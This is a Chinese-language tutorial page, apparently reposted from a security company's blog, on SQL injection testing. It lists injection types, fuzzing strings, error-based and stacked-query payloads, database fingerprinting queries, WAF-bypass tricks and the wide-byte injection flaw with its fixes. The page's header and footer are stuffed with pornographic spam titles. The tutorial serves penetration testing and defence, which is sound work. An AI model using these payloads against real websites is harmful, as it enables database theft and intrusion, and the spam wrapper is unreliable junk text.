午夜爽爽爽男女免费观看影院_亚欧中文字幕_欧美另类videosbestsex日本_亚洲第一狼人天堂久久_最近中文字幕mv在线视频2018_国产精品va无码免费麻豆

滲透測試對網站注入攻擊方法剖析
  • 更新時間:2025-05-03 13:50:08
  • 開發經驗
  • 發布時間:3年前
  • 535

國慶即將到來,前一期講到獲取網站信息判斷所屬環境以及各個端口的用處和弱口令密碼利用方法,這期仍有很多客戶找到我們Sine安全想要了解針對于SQL注入攻擊的測試方法,這一期我們來講解下注入的攻擊分類和使用手法,讓客戶明白漏洞是如何產生的,會給網站安全帶來怎樣的影響!


3.1 SQL注入漏洞

3.1.1. 注入分類

SQL注入是一種代碼注入技術,用于攻擊數據驅動的應用程序。在應用程序中,如果沒有做恰當的過濾,則可能使得惡意的SQL語句被插入輸入字段中執行(例如將數據庫內容轉儲給攻擊者)。


3.1.1.1. 按技巧分類

根據使用的技巧,SQL注入類型可分為


盲注

布爾盲注:只能從應用返回中推斷語句執行后的布爾值

時間盲注:應用沒有明確的回顯,只能使用特定的時間函數來判斷

報錯注入:應用會顯示全部或者部分的報錯信息

堆疊注入:有的應用可以加入 ; 后一次執行多條語句

其他


3.1.1.2. 按獲取數據的方式分類

另外也可以根據獲取數據的方式分為3類

inband

利用Web應用來直接獲取數據

如報錯注入

都是通過站點的響應或者錯誤反饋來提取數據

inference

通過Web的一些反映來推斷數據

如布爾盲注和堆疊注入

也就是我們通俗的盲注,

通過web應用的其他改變來推斷數據

out of band(OOB)

通過其他傳輸方式來獲得數據,比如DNS解析協議和電子郵件


3.1.2. 注入檢測

3.1.2.1. 常見的注入點

GET/POST/PUT/DELETE參數

X-Forwarded-For

文件名

3.1.2.2. Fuzz注入點

' / "

1/1

1/0

and 1=1

" and "1"="1

and 1=2

or 1=1

or 1=

' and '1'='1

+ - ^ * % /

<< >> || | & &&

~

!

@

反引號執行

3.1.2.3. 測試用常量

@@version

@@servername

@@language

@@spid

3.1.2.4. 測試列數

例如 域名/index.asp?id=12+union+select+nulll,null-- ,不斷增加 null 至不返回

3.1.2.5. 報錯注入

select 1/0

select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a

extractvalue(1, concat(0x5c,(select user())))

updatexml(0x3a,concat(1,(select user())),1)

exp(~(SELECT * from(select user())a))

ST_LatFromGeoHash((select * from(select * from(select user())a)b))

GTID_SUBSET(version(), 1)

3.1.2.5.1. 基于geometric的報錯注入

GeometryCollection((select * from (select * from(select user())a)b))

polygon((select * from(select * from(select user())a)b))

multipoint((select * from(select * from(select user())a)b))

multilinestring((select * from(select * from(select user())a)b))

LINESTRING((select * from(select * from(select user())a)b))

multipolygon((select * from(select * from(select user())a)b))

其中需要注意的是,基于exp函數的報錯注入在MySQL 5.5.49后的版本已經不再生效,具體可以參考這個 commit 95825f 。

而以上列表中基于geometric的報錯注入在這個 commit 5caea4 中被修復,在5.5.x較后的版本中同樣不再生效。

3.1.2.6. 堆疊注入

;select 1

3.1.2.7. 注釋符

#

--+

/*xxx*/

/*!xxx*/

/*!50000xxx*/

3.1.2.8. 判斷過濾規則

是否有trunc

是否過濾某個字符

是否過濾關鍵字

slash和編碼

3.1.2.9. 獲取信息

判斷數據庫類型

and exists (select * from msysobjects ) > 0 access數據庫

and exists (select * from sysobjects ) > 0 SQLServer數據庫

判斷數據庫表

and exsits (select * from admin)

版本、主機名、用戶名、庫名

表和字段

確定字段數(Order By Select Into)

表名、列名

3.1.2.10. 測試權限

文件操作

讀敏感文件

寫shell

帶外通道

網絡請求

3.1.3. 權限提升

3.1.3.1. UDF提權

UDF(User Defined Function,用戶自定義函數)是MySQL提供的一個功能,可以通過編寫DLL擴展為MySQL添加新函數,擴充其功能。

當獲得MySQL權限之后,即可通過這種方式上傳自定義的擴展文件,從MySQL中執行系統命令。

3.1.4. 數據庫檢測

3.1.4.1. MySQL

sleep sleep(1)

benchmark BENCHMARK(5000000, MD5('test'))

字符串連接

SELECT 'a' 'b'

SELECT CONCAT('some','string')

version

SELECT @@version

SELECT version()

識別用函數

connection_id()

last_insert_id()

row_count()

3.1.4.2. Oracle

字符串連接

'a'||'oracle' --

SELECT CONCAT('some','string')

version

SELECT banner FROM v$version

SELECT banner FROM v$version WHERE rownum=1

3.1.4.3. SQLServer

WAITFOR WAITFOR DELAY '00:00:10';

SERVERNAME SELECT @@SERVERNAME

version SELECT @@version

字符串連接

SELECT 'some'+'string'

常量

@@pack_received

@@rowcount

3.1.4.4. PostgreSQL

sleep pg_sleep(1)

3.1.5. 繞過技巧

編碼繞過

大小寫

url編碼

html編碼

十六進制編碼

unicode編碼

注釋

// -- -- + -- - # /**/ ;%00

內聯注釋用的更多,它有一個特性 /!**/ 只有MySQL能識別

e.g. index.php?id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3

只過濾了一次時

union => ununionion

相同功能替換

函數替換

substring / mid / sub

ascii / hex / bin

benchmark / sleep

變量替換

user() / @@user

符號和關鍵字

and / &

or / |

HTTP參數

HTTP參數污染

id=1&id=2&id=3 根據容器不同會有不同的結果

HTTP分割注入

緩沖區溢出

一些C語言的WAF處理的字符串長度有限,超出某個長度后的payload可能不會被處理

二次注入有長度限制時,通過多句執行的方法改掉數據庫該字段的長度繞過

3.1.6. SQL注入小技巧

3.1.6.1. 寬字節注入

一般程序員用gbk編碼做開發的時候,會用 set names 'gbk' 來設定,這句話等同于

set

character_set_connection = 'gbk',

character_set_result = 'gbk',

character_set_client = 'gbk';

漏洞發生的原因是執行了 set character_set_client = 'gbk'; 之后,mysql就會認為客戶端傳過來的數據是gbk編碼的,從而使用gbk去解碼,而mysql_real_escape是在解碼前執行的。但是直接用 set names 'gbk' 的話real_escape是不知道設置的數據的編碼的,就會加 %5c 。此時server拿到數據解碼 就認為提交的字符+%5c是gbk的一個字符,這樣就產生漏洞了。

解決的辦法有三種,第一種是把client的charset設置為binary,就不會做一次解碼的操作。第二種是是 mysql_set_charset('gbk') ,這里就會把編碼的信息保存在和數據庫的連接里面,就不會出現這個問題了。第三種就是用pdo。如果期間想要滲透測試自己的網站安全性,可以聯系專業的網站安全公司來處理解決,國內推薦Sinesafe,綠盟,啟明星辰等等的網站安全公司,還有一些其他的編碼技巧,比如latin會棄掉無效的unicode,那么admin%32在代碼里面不等于admin,在數據庫比較會等于admin。

我們專注高端建站,小程序開發、軟件系統定制開發、BUG修復、物聯網開發、各類API接口對接開發等。十余年開發經驗,每一個項目承諾做到滿意為止,多一次對比,一定讓您多一份收獲!

本文章出于推來客官網,轉載請表明原文地址:https://www.tlkjt.com/experience/7595.html
推薦文章

在線客服

掃碼聯系客服

3985758

回到頂部

主站蜘蛛池模板: 日韩综合精品 | 撕开校花奶罩揉她娇乳动漫 | 看一级黄色大片 | 无码av无码天堂资源网影音先锋 | 18禁美女黄网站色大片免费观看 | 鲁大师一区影视 | 日韩涩图| 少妇A片出轨人妻偷人视频 樱花草在线播放免费中文 你懂的久久 | 99国精产品影视 | 2019国产a全部视频 | 无码人妻AV一区二区三区波多野 | 一区二区三区午夜无码视频 | 最近日本字幕mv免费观看在线 | 91最懂男人的午夜社区 | 中文字幕日本乱码仑区在线 | 麻豆果冻传媒精品 | 亚洲一区av在线观看无码 | 久久久久成人网站 | 91最懂男人的午夜社区 | 国产原创精品国产专区 | 亚洲一级一区二区三区在线播放 | 亚洲一区二区三区日本久久九 | 最新欧美日韩 | 麻豆一区二区在线 | 国产一国产一级毛片视频在线 | 亚洲一级在线播放 | 77777_亚洲午夜久久多人 | 亚洲色欲久久久综合网 | 99久久免费国产 | 日韩精品一区二区三区外面 | 久久久久久久亚洲AV无码 | 99视频精品免费视频 | 高清重口变态sm在线观看 | 亚洲人成一区 | 夜夜狠狠 | 久久久久久草莓香蕉步兵 | 好久不见在线观看免费高清 | 久久婷婷欧美 | 国产成人精品日本亚洲一区 | 日本三级吃奶头添泬 | www.四虎影视.com |